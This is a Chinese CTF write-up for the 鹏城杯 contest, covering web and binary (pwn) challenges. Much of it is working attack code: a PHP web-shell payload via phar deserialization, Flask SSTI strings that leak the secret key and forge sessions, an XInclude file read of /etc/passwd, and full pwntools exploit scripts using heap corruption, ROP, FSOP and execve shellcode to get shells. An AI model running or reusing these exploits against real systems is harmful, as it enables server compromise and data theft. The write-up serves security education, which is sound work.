xnuca.erangelab.comxnuca.erangelab.com/pcb/wp/pcb-wp-all.docx  · web view2018-12-14 ·...

84
鹏鹏鹏鹏鹏鹏 WriteUP WEB 一、broken-robot 鹏鹏鹏鹏鹏 鹏鹏鹏鹏鹏 robots 鹏鹏 鹏鹏./robots.txt 鹏鹏 pr1.php challenge.php鹏 鹏鹏 鹏鹏鹏鹏鹏 一,,,

Upload: phungkhue

Post on 29-Apr-2019

270 views

Category:

Documents


0 download

TRANSCRIPT

鹏城杯线上赛 WriteUP WEB一、 broken-robot

访问主页面

很容易想到 robots 文件访问./robots.txt

访问 pr1.php(已修改为 challenge.php)

页面只有一句提示,没有其他有效信息,控制权想到查看用户身份,看应答包

可以看到人工设置了一个 cookie,所以可能存在信息泄露cookie=Li9mMWFnWzAtOV17NH0%3D

%3D --> =所以 cookie = Li9mMWFnWzAtOV17NH0=显然是 base64 编码,解码得到 ./f1ag[0-9]{4}

提示路径是 f1ag+四位数字,编写脚本爆破得到 f1ag0753.html,访问

随便填写数字查询发现被重定向到原页面Burp 抓包得到后台文件名称 seArch_For_ONe_flag.php 和返回值怀疑是 SQL 注入FUZZ 测试发现关键词被过滤https://blog.csdn.net/nzjdsds/article/details/82980041万能密码尝试注入爆出路径 ./read_broken_flag.xxx

第一反应是./read_broken_flag.php,访问无反应,可能是源码泄露访问./read_broken_flag.php.bak,得到文件

摘取关键词

密文TFMwdUxTQXRMaTR1SUM0dUxTQXRMUzR0SUM0dUxTQXVMU0F0TFM0Z0xTNGdMUzBnTGk0dExpQXRMUzR1SUMwdUxpNGdMU0F0TGk0dUlDMGdMaTBnTGkwZ0xTMGdMUzR1TGlBdUxpMGdMUzR1TGlBPQ==

密钥TVRBeUpUSXdNVEl3SlRJd01URXpKVEl3TVRBNUpUSXdNVEV4SlRJd01UQTJKVEl3TVRFMkpUSXdNVEV5SlRJd09UYyUzRA==

密码破解得到 flag(破解过程见文件 密码破解.txt)密码部分:两串 base64 经过多次古典密码解密,得到两串字符串,经过一次 hill 计算得到 flag。

二、 babyt2

1. 首先在登陆页面,发现提示,访问得到数据库结构:

2. 既然给出了数据库,应该与 sql 注入有关,首先尝试正常功能,发现功能有 注册,登陆,上传文件,读取你上传的文件然后开始尝试注入,在文件名出发现存在注入,猜测 sql 语句为 update users set filepath = '' where id = 1;于是构造利用,发现可以篡改其他用户,或 者自己的 filepath 实现任意文件读取。Update users set filepath = ‘123’,filepath=’456’ where id =2 --1 ‘where id =1这样默认 sql 会取后面的值为准,所以就绕过了过滤,可以更改任意用户 filepath 的值3. 首先尝试读取 /etc/passwd:

然后点击导航栏 show,抓包,发现读取成功。

但是并没有办法直接 getshell,因此尝试读一下源码,但是发现不是默认路径,因此先读一下 apache2 的默认主机配置,文件为:/etc/apache2/sites-available/000-default.conf

然后可以使用该方法读到源码,发现 file_get_contents 进而想到构造反序列化命令执行。

因为整个框架是使用了 yii2 ,所以尝试读取 composer.json 文件:

在 composer.json,里面发现了低版本的组件 guzzle,于是在 phpggc 中尝试查找有关反序列化漏洞利用,发现可以任意文件写入。

4. 采 用 phpggc 生 成 payload,这 里 写 入 的 路 径 为 yii2 框 架 默 认 开 启 可 写 的 路 径 assets ,在首页也比较容易发现是静态文件路径./phpggc Guzzle/FW1 /var/www/html/You_Cant_Gu3ss/web/assets/shell.php `pwd`/1.php | base64其中本地 1.php 文件内容为:<?php @system($_GET[a]);?>

然后写脚本,生成 phar 文件:

然 后 通 过 composer 本 地 搭 建 虚 拟 环 境 , 在 vender 文 件 夹 中 运 行 php , 生 成exploit.phar5. 将后缀改成 txt,上传到 uploads 目录,然后通过注入,修改 filepath 为 phar:///var/www/html/You_Cant_Gu3ss/uploads/1.txt ,点击 show 触发 payload,发现被过滤

6. 继续查看代码,找到过滤代码

于是采用 bypass 方式,具体可见分析:https://xz.aliyun.com/t/2958采 用 的 bypass 方 式 为 compress.zlib://phar:///var/www/html/You_Cant_Gu3ss/uploads/1.txt/test.php利 用 成 功 , 生 成 shell 地 址 为 /var/www/html/You_Cant_Gu3ss/web/assets/shell.php?a=ls即 http://ip//assets/shell.php?a=ls%20/

7. 获取 flag 通过 shell 查找到根目录 flag 为 fffffffffffffffff1sHere读取即可flag{0bb546a9175e7224dac19d3bc4a65860} 

三、 shadow

页 面 进去就 能 看 到 title 是 flask, f12 查 看 源 码 发 现 有 /upload, 访 问 显 示要admin才能登陆。注册 admin 发现已经被注册,注册普通用户 123/123,查看一下session,那我们就是要伪造 admin 的 session 了。但是我们不知道 secretkey,那可能有 ssti 或者什么地方泄露了 secretkey。随手测试/213 显示 404界面。 Oh! That http://127.0.0.1:5000/213 doesn't exist.fuzz:/{{7+7}}Oh! That http://127.0.0.1:5000/14 doesn't exist.说明存在 ssti,但是 fuzz 发现好像waf 了括号,替换了 config 和 self。我们的目的是读取 config拿到 secretkey。当 config,self,( ) 都被过滤的时候,为了去获得讯息,必须去读一些全局变量。比如说 current_app

比如说这样__globals__['current_app'].config

top.app.config如何绕过 waf ? 使用 url_for 或者 get_flashed_messages调取 current_app 进而读取 config。 flask官方文档:http://flask.pocoo.org/docs/1.0/api/#flask.url_forbaobaoer.cn/archives/656/python-b2e7b180e9b880e793所以 ssti 的两个 payload:GET /{{url_for.__globals__['current_app'].config}}

or

GET /{{get_flashed_messages.__globals__['current_app'].config}}拿到 secretkey :'SECRET_KEY': 'as/*d21as-+dhasod5a4s54:><*()dfdsf'随机伪造 session。先看下普通用户 123 的 session格式。from itsdangerous import *

s=URLSafeTimedSerializer("as/*d21as-+dhasod5a4s54:><*()dfdsf", salt="cookie-session",signer_kwargs={"key_derivation":"hmac","digest_method":"sha1"})

s.loads(".eJwlj0tqAzEQRO-itRctdevnywz9JUNiB0b2KuTuEWT9qKpXP-mIy9dHur-ut9_ScVq6JxjNjYbJbAZECgOVioc59iqIpHMa1mjOEW0URuroEX3zbgwyEQZJq5TrlJlhxiDMmAlyjiIINPdGdW8Tg7OWJhI0tFcWNU23pOuK4_X96c_tU4eVsMhNuXNlUM6Nep2AWLfcADBTENm5cx1sj3Ongr_WfvTkh--KXHDT9_Lr_2JNv39sGkfY.Ds1lLw.x3I2zNkNUY0pH2TmVW9B_lHBsJ0")结果是{'_fresh': True, '_id': '086ed48db96d044c083c42efde375b334c99d35f6eaff682a3473eff7e377da0b93084b654159b9109f8431314011f2b30490865ee693fa1c26bbf48c75abcdc', 'csrf_token': '58d2fdf16ca7a5a0ca1647590335c08800ddc0bb', 'is_admin': False, 'name': '123', 'user_id': '5'} 随即伪造s.dumps("{'_fresh': True, '_id': '086ed48db96d044c083c42efde375b334c99d35f6eaff682a3473eff7e377da0b93084b654159b9109f8431314011f2b30490865ee693fa1c26bbf48c75abcdc', 'csrf_token': '58d2fdf16ca7a5a0ca1647590335c08800ddc0bb', 'is_admin': True, 'name': 'admin', 'user_id': '5'}")得到'.eJxFjztuw0AMRK9iuNkmBVck95NzpBe4_CBCYAeQ7CrI3bNCAqTkEDPz5vqV1

tj9eE-vl7f96S-XtG42jwStuFGz0YsBkUJDpcXDHCsPRNLeDTmKS0RpiyBV9Ig6_9UERkdoNApT5j56hh6NMGMmyDmWgUB9drB76RiSdSljBDWtLENN00TRY4_18fnh95OImy1hkYtKFRZQyYUqd0DkidcAzBTGOJ3bsYrdtvv_rLvc_Ez5lafwPHz_28rp-_oDsABKyA.Ds1pNA.UjMtryHiu6IKUxQXclld0Yslj-8'改 cookie之后访问/upload,fuzz 发现 ban 了<!ENTITY,<!DOCTYPE ,SYSTEM'xxe payload 找一下,发现可以用 xinclude

<?xml version="1.0"?><data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="file:///etc/passwd" parse="text"></xi:include></data>

发现其中有一个 rq 用户,读取/home/rq/.bash_history,发现 touch 文件的操作,读取得 flag

四、 myblog

提示可以用上面的链接访问,同时用了 php 和 base64

所以试着访问对应的后台 index.php

无回显,但是在响应头中发现 flag: JTNGZmxhZw==Base64 解码后得到 ?flag,可以得到 index.php 后台的传参为 index.php?flag=xxx此时并不清楚传进去的参数有什么作用,先转回主页面看看其他地方

对应的 about.php 无路径,前面提示 base64,所以尝试 base64加密

访问 YWJvdXQ=.php

同样 无回显,此时得到两个无回显界面,且第一个有参数可以想到通过 php://filter/read=convert.base64-encode/resource= 利用 LFI来查看源码

base64 解码

得到 YWJvdXQ=.php 的源代码,代码审计构造 payload即可得到 flag

五、 three-body1

打开链接,为雷达峰概念图(题目总的有个背景,==)http://10.108.36.244:5000/index

下面的三个段文字是三个链接,每个链接有两个参数,text 和 verify,参数的值都做了base64 编码,第一段文字:

对应的链接:http://10.108.36.244:5000/index?text=YXhpb20x&verify=66IJCBft9qVZ/BP8pae3quOLhmCY/M7b

第二段文字:

对应的链接:http://10.108.36.244:5000/index?text=YXhpb20y&verify=NeohDCURySBmaQ36PBPNY/1MotDPGz76

第三段文字,点击返回首页

看其对应的链接:http://10.108.36.244:5000/index?text=cHJpbmNpcGxl&verify=发现 verify参数是空的,结合上面的两个链接可以想到,verify 是个认证参数,只有其值正确才可看到网页内容。YXhpb20x 解码是 axiom1 ,66IJCBft9qVZ/BP8pae3quOLhmCY/M7b 解码后疑似乱码

YXhpb20y 解码是 axiom2,NeohDCURySBmaQ36PBPNY/1MotDPGz76 解码后疑似乱码

cHJpbmNpcGxl 的解码是 principle,但是不存在 verify,到这里可能还是看不到什么思路。需要结合备份文件泄露,根目录下有个 www.zip 文件

下载解压后可以看到是一个 hash.py 文件,这个文件实现了 SLHA1 算法,类似于SHA1对字符串进行分组 hash,

message 是要进行加密的字符串。它会先加上一个字节 \xed,之后再加上一堆的\xbb,使得 chunk 的长度能满足整除 64 后余数为 56,之后添上 8 个字节的长度描述

符。看到这个就可以想到这个算法应该是用来加密 verify参数的,直接对 principle加密是不正确的,可以想到肯定有个 salt 或者 key,那么直接相关的一个攻击手法就是hash长度拓展攻击,利用已知的 hash去计算目标字符串的 hash。这里我们不知道key 的长度,所以要爆破,有了 hash.py我们就可以直接引用,然后结合 axiom1参数及其 verify 的值进行拓展爆破

这个脚本会得到能够成功进行长度拓展攻击的链接,

http://10.108.36.244:5000/index?text=YXhpb20x7bu7u7u7u7u7u7u7u7u7u7u7u7u7u7u7u7u7u7u7u7u7u7u7u7u7uwAAAAAAAACAcHJp%0AbmNpcGxl%0A&verify=TYIsOeoh987hh1CK8uY978DvPcmopeo/浏览器打开可以看到如下界面,这是不完整的黑暗森林法则,需要补充完整。

这个输入用来进行完善黑暗森林法则,随机测试发现,它会输出所输入的内容并提示错误

那么试一下模板语句

可以确信这里存在模板注入,但是测试普通的 payload 没有反应,题目过滤了’(单引号)和[(中括号),这里需要一点绕过技巧,比如下面的 payload 读取根目录下的flag.txt{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(46)%2bchr(116)%2bchr(120)%2bchr(116)).read() }}

六、 three-body2

打开链接,为一个登陆窗口

还有一个注册页面

成功注册后会跳转到登陆界面

登陆成功后会进入一个控制面板,这里其实完全是个幌子,一点没卵用都没有

不 过 点 击 下 面 的图片会 有 个 关 于 KEY 的 提 示 , 这 里 的 KEY 指的 是 Django 的SECRET_KEY

漏洞在于注册的地方,当我们注册一个相同的账号的时候会提示:

当注册一个相同的邮箱时会提示

多测试几次就会发现当用户名重复时弹出来的信息是不变的,而邮箱重复会动态提示具体的邮箱名称,也就是说邮箱是个可控的变量,本题这里则存在格式化字符串漏洞,比如先注册

这时存在 admin12 这个用户,并且邮箱为{user},然后换一个用户名邮箱不变再进行注册

弹窗为

其中 AnonymousUser 在 Django 中是 request.user 的值,那么我们用这两个{user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}{user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}可以获取 Django 的 SECRET_KEY

那么进而想到读取一下 SESSION_SERIALIZER,看起是否存在且使用了 pickle 进行序列化;以及读取一下 SESSION_ENGINE,看是否使用 SECRET_KEY 的密钥进行加密。这两个变量都在 setting.py 中,可直接使用上面的方法读取

然后就可以利用 Python 反序列化漏洞进行命令执行,如下代码会进行 shell 反弹,这里请求的 url必须是/dashboard,因为只有这个控制面板才会进行 session检测,触发漏洞。

PWN一、 Chat

from pwn import *context(arch = 'amd64' ,os = 'linux' ,endian = 'little')context.log_level = 'debug'

context.terminal = ['tmux', 'split', '-h']

def SignUp(p, name):p.recvuntil('menu >\n')p.sendline('1')p.recvuntil('name >')p.sendline(name)

def SignIn(p, name):p.recvuntil('menu >\n')p.sendline('2')p.recvuntil('name >')p.sendline(name)

def get_tweet(p):p.recvuntil('menu >>\n')p.sendline('1')

def list_user(p):p.recvuntil('menu >>\n')p.sendline('3')

def post_tweet(p, msg):p.recvuntil('menu >>\n')p.sendline('4')p.recvuntil('message >> ')p.sendline(msg)

def post_to_user(p, name, msg):p.recvuntil('menu >>\n')p.sendline('5')p.recvuntil('name >> ')p.sendline(name)p.recvuntil('message >> ')p.sendline(msg)

def remove_tweet(p, idx):p.recvuntil('menu >>\n')p.sendline('6')p.recvuntil('id >> ')p.sendline(str(idx))

def change_name(p, name):

p.recvuntil('menu >>\n')p.sendline('7')p.recvuntil('name >> ')p.sendline(name)

def logout(p):p.recvuntil('menu >>\n')p.sendline('0')

def GameStart(ip, port, debug):if debug == 1:

p = process('./ppchat3',env = {'LD_PRELOAD': './libc-2.23.so'})# gdb.attach(p)

else:p = remote(ip, port)

free_addr = 0x844f0system_addr = 0x45390strlen_addr = 0x8b720SignUp(p, 'a hack')SignUp(p, 'b hack')SignUp(p, 'c hack')SignIn(p, 'a hack')post_to_user(p, 'a hack', 'swing niu pi')post_to_user(p, 'a hack', 'swing to niu pi')logout(p)SignIn(p, 'b hack')change_name(p, 'b hack'.ljust(0x18, '1') + '\xe1')logout(p)SignIn(p, 'c hack')change_name(p, '\xcc')SignIn(p, 'a hack')post_tweet(p, 'hh')logout(p)SignUp(p, ' hack')SignIn(p, 'a hack')remove_tweet(p, 1)logout(p)SignIn(p, ' hack')post_tweet(p, 'a' * 0x10 + p64(0x609018))list_user(p)p.recvuntil('* ')libc_addr = u64(p.recvline()[ : -1].ljust(8, '\x00')) - 0x844f0log.info('libc addr is : ' + hex(libc_addr))

remove_tweet(p, 2)post_tweet(p, 'a' * 0x10 + p64(0x609028))change_name(p, 'c' * 0x18 + p64(libc_addr + system_addr)[ : 6])p.recvuntil('menu >>\n')p.sendline('/bin/sh;')

p.interactive()

if __name__ == '__main__':GameStart('', 2333, 1)

二、 Hacker

这是一个简单的基于 mozjs-24.0.2 的 javascript题目。对 js::array_shift()函数进行了 patch。 动态链接,并且为了降低逆向的难度,在编译之后没有去除题目中的符号。漏洞很简单,当调用 array.shift()对 javascriptArray左移的时候没有检查当前数组的元素个数,因此当目前数组的元素个数为 0 的时候依然会将 array对象的 length成员变量减一。导致当 array对象的长度为 0时,继续 shift()会让长度向下溢出变成0xffffffff。POCa = [1,2];a.shift();a.shift();a.shift();

利用的思路与普通的 javascript 漏洞利用思路无异。1. 修改当前使用数组的长度为 0xffffffff2. 通过当前数组向下搜索找到内存中保存的函数虚表,泄露 pie3. 继续向下搜索找到下一数组的数组地址4. 通过下一数组的数组地址索引值进行任意地址读写5. 泄露 got处函数地址,并计算得到 libc 的基址6. 通过 libc 地址泄露 environ 的栈地址7. 在返回地址处写上 ROP(system('/bin/sh'))

Script:function Int2Array(val) { var res = []; var hexed = ('0000000000000000' + val.toString(16)).substr(-16); for (var i = 0; i < 16; i+=2) res.push(parseInt(hexed.substring(i,i+2), 16)); return res;

}

function toDouble(val) { var buffer = new ArrayBuffer(8); var byteView = new Uint8Array(buffer); var view = new Float64Array(buffer);

byteView.set(Int2Array(val).reverse()); return view[0];};

function fromDouble(val) { var buffer = new ArrayBuffer(8); var view = new Float64Array(buffer); view[0] = val; return new Uint8Array(buffer, 0, view.BYTES_PER_ELEMENT);};

function readmem(arg){ res = ""; bytes = fromDouble(arg); for (var i = 0; i < bytes.length; i++){ res += ('0' + bytes[bytes.length - 1 - i].toString(16)).substr(-2); } return parseInt(res, 16);}

a1=[1,2];a2=new String("abcd"); // for rip control (vftable overwrite)a3=new Uint32Array(0x1337);a3[0] = 0xdeadbeef;a1.shift();a1.shift();a1.shift();

js_pie_leak = readmem(a1[23]); // <js_String(JSContext*, unsigned int, JS::Value*)>: push r15

pie_base = js_pie_leak - 0x25FCB0print(pie_base.toString(16));

a3_len_idx = a1.indexOf(0x1337);a1[a3_len_idx] = 0xffffffff; // length to 0xffffffff

a3_buf_idx = a3_len_idx + 2;a3_buf_addr = readmem(a1[a3_buf_idx]);print(a3_buf_addr.toString(16)); // we got the address of a3 now

oob_read = function(base, idx){a1[a3_buf_idx] = toDouble(base);return 0x100000000*a3[idx/4+1] + a3[idx/4];

}

oob_write = function(base, idx, val){a1[a3_buf_idx] = toDouble(base);a3[idx/4] = val % 0x100000000;a3[idx/4 + 1] = val / 0x100000000;

}

malloc_got = 0x790db0;libc_malloc = oob_read(pie_base, malloc_got);

print(libc_malloc.toString(16));

vtable_idx = a1.indexOf(toDouble(0x261050 + pie_base)); //str_substringlibc_addr = libc_malloc - 618608;print(libc_addr.toString(16));

env_off = 4120728;stack_addr = oob_read(libc_addr, env_off) + 0x7fffffffe3f8 - 0x7fffffffe4f0;print(stack_addr.toString(16));

pop_rdi = libc_addr + 0x000000000002155f;pop_rdx = libc_addr + 0x0000000000001b96;binsh = libc_addr + 1785498;system = libc_addr + 937520;

oob_write(stack_addr, 0, pop_rdi);oob_write(stack_addr, 8, binsh);oob_write(stack_addr, 16, pop_rdx);oob_write(stack_addr, 24, 0);oob_write(stack_addr, 32, system);

三、 overInt

本题涉及的知识点:(1) hash碰撞(2) 加密(3) 整数溢出(4) 栈溢出(5)信息泄露1. 首先 set arrary number,以 buf 指向的地址为起始地址,输入四个字节;

2. sub_4007D1()函数是一个加密函数,对 buf[1]-buf[4] 4 个数做加密操作,如图所示,最终加密后的值作为该函数的返回值返回。此处利用简单的爆破脚本即可解密(ps:作为一个 100 分的简单题,此处可以结合程序后面的 check来绕过解密)。

3. 该题要求加密函数返回的值应为 35,否则程序退出。

4. 考察 hash碰撞:

sub_4006C6()函数主要做一个加和操作,需要提供几个数的加和,每个数分别是什么,都由答题者自己决定,但最终加和的结果需要等于 v16 值。

5. 整数溢出:此处并没有真的考察整数溢出,v17(before)和 v16 的值其实在前面已经给定,只要通过了 sub_4007D1()解密这一关卡,选对值,此处自然就会发生整数溢出。这里其实给出了一个提示,如果前面的加密太难,答题者在看汇编代码时,可以通过 这 个 地 方 ,对 v17(before) 的 值 进 行 猜 测 或 爆 破 ,从而 绕 过加密 , 通 过sub_4007D1()的关卡。

6. 栈溢出+信息泄露:作为一个简单题,此处并没有设置障碍,真的就是简单的栈溢出,只是在构造payload时,需要给出你要溢出的位置(4 字节)以及在该位置处你要写入的值(1字节),在写 payload时会稍微繁琐一点。简单的思路就是通过构造合适的 payload,泄露 read(也可以是 exit,puts等)函数的地址,进而泄露 libc 的基地址,进而泄露 system函数的地址和“/bin/sh”的地址;再次构造 payload,getshell,拿到 flag。

7. 具体利用程序如下:

四、 blind_pwn

from pwn import *context.log_level = 'debug'def leak(addr): # leak addr for three times num = 0 while num < 3:

try: print 'leak addr: ' + hex(addr) sh = remote('10.112.118.90', 8245) sh.recvuntil("secret number:") sh.sendline("01");

payload = 'IG%9$sNB' + p64(addr) if '\x0a' in payload: return None sh.recvuntil('give me your str:') sh.sendline(payload) sh.recvuntil('IG') data = sh.recvuntil('NB', drop=True) sh.close() return data except Exception: num += 1 continue return None

def getbinary(): addr = 0x400000 f = open('binary', 'w+') while addr < 0x402000: data = leak(addr) if data is None: f.write('\xff') addr += 1 elif len(data) == 0: f.write('\x00') addr += 1 else: f.write(data) addr += len(data) f.close()

getbinary()#sh = remote('10.112.108.77', 2336)#payload = '%13$sABC' + p32(0x804A04C)

#sh.recvuntil('Username:')#sh.sendline(payload)#sh.recvuntil('Hello ')

#data = sh.recvuntil('ABC', drop=True)#print len(data)#sh.recvuntil(':')#sh.send(data)#sh.interactive()

五、 code

对程序进行检查

然后分析程序,发现漏洞代码出现在函数 have_fun()中:

如上图所示,局部变量 buf大小为 100 字节,但是 read()函数从标准输入中读取了256 字节,典型的栈溢出。继 续 分 析 程 序 , 发 现 进 入 到 have_fun 函 数 得 有 一 定 条 件 , 也 就 是v3==22493966389.也就是先经过 hash函数运算得到一个值 v3,再与其比较。相等才能通过。

用 angr来进行计算:

最终得到结果:wyBTs。

用 gdb 进行调试,发现 buf 存储的位置距离 ret 地址偏移为 120

首先,得到二进制中 read函数的 got 地址,puts 的 plt 地址。然后调用 puts函数将read函数地址泄露出来:

泄露得到 read函数的真实地址,减去 read 在 libc 中的基址,就能得到 libc加载的基址。然后在得到 system函数的实际地址,配置好参数,实现 system(‘/bin/sh’)函数调用。

最终实现利用:

六、 easycalc

这道题没有信息泄露,首先第一步通过 offbynull 让 unsortbin 和 fastbin 重合,通过局部覆盖到 malloc_hook前,改写 malloc_hook,然后将 malloc_hook放到fastbin 中,通过 house of roman 将 malloc_hook指向 main_arena。最后通过+号绕过 scanf,改写到 one_gadget。(我的脚本绕远了,因为是边出的题边写的脚本)from pwn import *def create(index,size,s,a,b):

p.recvuntil('input>')

p.sendline('1')

p.recvuntil('input index')p.sendline(str(index))

p.recvuntil('input size')p.sendline(str(size))

p.recvuntil('please input number')p.sendline(a)p.sendline(b)

p.recvuntil('input string')p.send(s)

def drop(index):

p.recvuntil('input>')p.sendline('4')

p.recvuntil('input index')p.sendline(str(index))

def edit():

p.recvuntil('input>')

p.sendline('3')

p.recvuntil('input index')p.sendline(str(7))

p.recvuntil('please input number')p.sendline('+')p.sendline(str(0xd9945-0X39E0D8))

p=process('./easynull')gdb.attach(p,'''b *0x0893 set $i=28commands

set $i=$i-1

if ($i==0)p main_arenaend

if ($i>0)continueend endcontinue''')

create(0,0x108,'aaa\n',str(0x108),str(0))

create(1,0x228,'aaa\n',str(0x228),str(0))create(2,0x108,'aaa\n',str(0x108),str(0))create(3,0x20,'aaa\n',str(0x20),str(0))

drop(1)drop(0)

create(0,0x108,'a'*0x100,str(0x108),str(0))

create(4,0x188,'a\n',str(0x188),str(0))create(5,0x68,'a\n',str(0x68),str(0))

drop(4)drop(2)create(1,0x330,'a'*0x178+p64(0)+p64(0x71)+'a'*0x60+p64(0)+p64(0x21)+'a'*0x10+p64

(0)+p64(0x71),str(0x330),str(0))drop(1)drop(5)

create(1,0x180,'a\n',str(0x180),str(0))drop(1)create(1,0x330,'a'*0x178+p64(0)+p64(0x71)+'\xcd\x7a',str(0x330),str(0))create(2,0x60,'\n',str(0x60),str(0))create(4,0x60,'\x00'*3+p64(0x71)+'\x00'*(0x57-0xb),str(0x60),str(0))#a40

#mhpdrop(1)drop(2)

create(1,0x188,'a\n',str(0x188),str(0))drop(1)create(1,0x330,'a'*0x178+p64(0)+p64(0x71)+'\xe0\x7a',str(0x330),str(0))

create(2,0x60,'\n',str(0x60),str(0))create(7,0x60,'\x00'*8,str(0),str(0))

#7fdrop(1)drop(2)

create(1,0x188,'a\n',str(0x188),str(0))drop(1)create(1,0x330,'a'*0x178+p64(0)+p64(0x71)+'\xcd\x7a',str(0x330),str(0))

create(2,0x60,'\n',str(0x60),str(0))create(6,0x60,'\x00'*3+p64(0xa41)+'\x00'*(0x57-0xb),str(0x60),str(0))#a40

#iodrop(1)drop(2)

create(1,0x188,'a\n',str(0x188),str(0))drop(1)create(1,0x330,'a'*0x178+p64(0)+p64(0x71)+'\xfd\x84',str(0x330),str(0))

create(2,0x60,'\n',str(0x60),str(0))create(5,0x60,'\x00'*3+'\x00'*0x8+p64(0)+p64(0x21)+'\x00'*0x10+p64(0)+p64(0x21),str(0x60),str(0))

#mhdrop(1)

drop(2)

create(1,0x188,'a\n',str(0x188),str(0))drop(1)create(1,0x330,'a'*0x178+p64(0)+p64(0x71)+'\xe0\x7a',str(0x330),str(0))create(2,0x60,'\n',str(0x60),str(0))create(8,0xf00,'\n',str(0xf00),str(0))edit()

drop(4)p.interactive()

七、 note

漏洞在于栈溢出可以覆盖局部变量,越界写到 GOT表上,从而跳到堆上,堆上摆好 shellcode即可。#!/usr/bin/env python# -*- coding: utf-8 -*-from pwn import *#import oscode = ELF('./note', checksec=False)context.arch = code.archcontext.log_level = 'debug'

def add(idx, data): r.sendline('1') r.sendline(str(idx)) r.sendline('13') data = flat(data) r.sendline(data)

def exploit(r): r.recvuntil('404') r.sendline('1') r.sendline('0') r.send(flat('13'.ljust(10, '\x00'), p32((-8)&0xffffffff), '\n')) sc = asm('''start: xor rax, rax syscall dec edx mov rsi, rcx jmp start

''') r.sendline(sc) r.sendline('5') r.sendline( '\x90'*30+ "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" )

r.interactive()

八、 random

这道题两个考点,一个是开了保护的格式化字符串,只能泄露,不能写入。第二个考点是输入缓冲区在堆上。文件关闭后释放 io 结构体,这时候进行输入会占据原来 io结构体对的空间,造成利用。from pwn import *

p=process('./random')

libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

"""gdb.attach(p,'''b *0x0C03 ''')"""payload='%llxz'*3p.send('1')sleep(2)p.send('3')sleep(2)

p.send('2')sleep(2)

p.send('%llx\n')

libc.address=int(p.recvuntil('all')[0:-3],16)-0x3c6790print hex(libc.address)

p.send('1\n')print p.recvuntil('next')

fake_chunk='\x00\x80\x00\x00\x00\x00\x00\x00'+p64(0x61)fake_chunk+=p64(0xddaa)+p64(0xffffffffffffffff)

fake_chunk+=p64(0x2)+p64(0xffffffffffffff)+p64(0)*2+p64( (((libc.address+0x18CD57)-0x64)/2)+3 )fake_chunk=fake_chunk.ljust(0xa0,'\x00')fake_chunk+=p64(libc.symbols['system']+0x420)fake_chunk=fake_chunk.ljust(0xc0,'\x00')fake_chunk+=p64(0)vtable_addr=(0x3C37B8+libc.address-(14*8)+0x30) payload =fake_chunkpayload += p64(0)payload += p64(0)payload += p64(vtable_addr)payload += p64(libc.symbols['system'])payload += p64(2)payload += p64(3)payload += p64(0)*3 # vtablepayload += p64(libc.symbols['system'])

print hex(0x3C37B8+libc.address-(14*8)+0x30)

p.send(payload+'\n')p.recvuntil('all\n')p.send('0\n')p.interactive()

九、 rsa

import gmpy2from pwn import *

def de(n,e,message,k,a):i=k

while(1):

i=i+(1<<a)if(gmpy2.powmod(i, e, n)==message):

#print hex(i)i&=0xff<<areturn i

def create(size,s):p.recvuntil('4 login')p.sendline('1')

p.recvuntil('password(send by base64)')p.sendline(str(size))

p.recvuntil('ive me password')p.send(s)

def login(index):p.recvuntil('4 login')p.sendline('4')p.recvuntil('input your index')p.sendline(str(index))p.recvuntil('your password is\n')

def get():message=p.recvuntil('\n')p.recvuntil('e:\n')e=p.recvuntil('\n')p.recvuntil('n:\n')n=p.recvuntil('\n')return message,e,n

def dele():p.recvuntil('4 login')p.sendline('3')

def deb(p,a):b=''lens=0if(len(a)%4!=0):

a+='\x00'*(4-len(a)%4)while(len(a)>lens):

b+=chr(((ord(a[lens])&0x3f)<<2)+((ord(a[lens+1])&0x30)>>4))b+=chr(((ord(a[lens+1])&0xf)<<4)+((ord(a[lens+2])&0x3c)>>2))b+=chr(((ord(a[lens+2])&0x3)<<6)+((ord(a[lens+3])&0x3f)))

lens+=4#print bp.sendline(b)

p=process('./rsa')libc=ELF('./libc-2.23.so')"""gdb.attach(p,'''b *0x01478set $i=8commands

set $i=$i-1if($i==0)b systemcendif ($i>0)continueend endcontinue

''')"""create(0x500,'aaaa\n')#0create(0x500,'aaaa\n')#1

login(0)deb(p,'aaaa')

re_main_arena=0x61616161617f

i=1while(i<5):

re_main_arena=re_main_arena&(0xffffffffffff-(0xff<<(8*i)))dele()create(0x500,'a'*(5-i))login(0)message,e,n=get()

tmp=de(int(n),int(e),int(message),re_main_arena,8*i)#print hex(tmp)re_main_arena+=tmpdeb(p,p64(re_main_arena)[::-1][2:])i+=1

main_arena=u64(p64(re_main_arena)[::-1])>>16

libc.address=main_arena-0x3c4b61print hex(libc.address)dele()create(0x500,'a'*0x3f4+'\xff\xff\xc4'+'\n')#0 0x308+3create(0x2f8,'aaaa\n')#2create(0xa0,'aaaa\n')#3

create(0x80,'aaaa\n')#4

fake_chunk=p64(0xddaa)+p64(libc.symbols['_IO_list_all']-0x10)fake_chunk+=p64(0x2)+p64(0xffffffffffffff)+p64(0)*2+p64( (((libc.address+0x18CD57)-0x64)/2)+3 )fake_chunk+='\x00'*0x18fake_chunk+=p64(0)+p64(0x21)+'\x00'*0x10fake_chunk+=p64(0)+p64(0x21)fake_chunk+='\x00'*0x10fake_chunk+=p64(libc.symbols['system']+0x420)fake_chunk=fake_chunk.ljust(0xb0,'\x00')

fake_chunk+=p64(1)vtable_addr=libc.address+0x3C37A0 #0x394500 0x393A80payload =fake_chunkpayload += p64(0)payload += p64(0)payload += p64(vtable_addr)payload += p64(libc.symbols['system'])payload += p64(2)payload += p64(3)payload += p64(0)*3 # vtablepayload += p64(libc.symbols['system'])

create(0x200,payload)#5login(2)deb(p,'aaaa')dele()login(0)deb(p,'aaaa')

login(4)deb(p,'aaaa')dele()

create(0x350,'aaaa\n')

login(5)deb(p,'\xaa\xdd')dele()fake_chunk=p64(0xddaa)+p64(libc.symbols['_IO_list_all']-0x10)fake_chunk+=p64(0x2)+p64(0xffffffffffffff)+p64(0)*2+p64( (((libc.address+0x16891c)-0x64)/2)+3 )

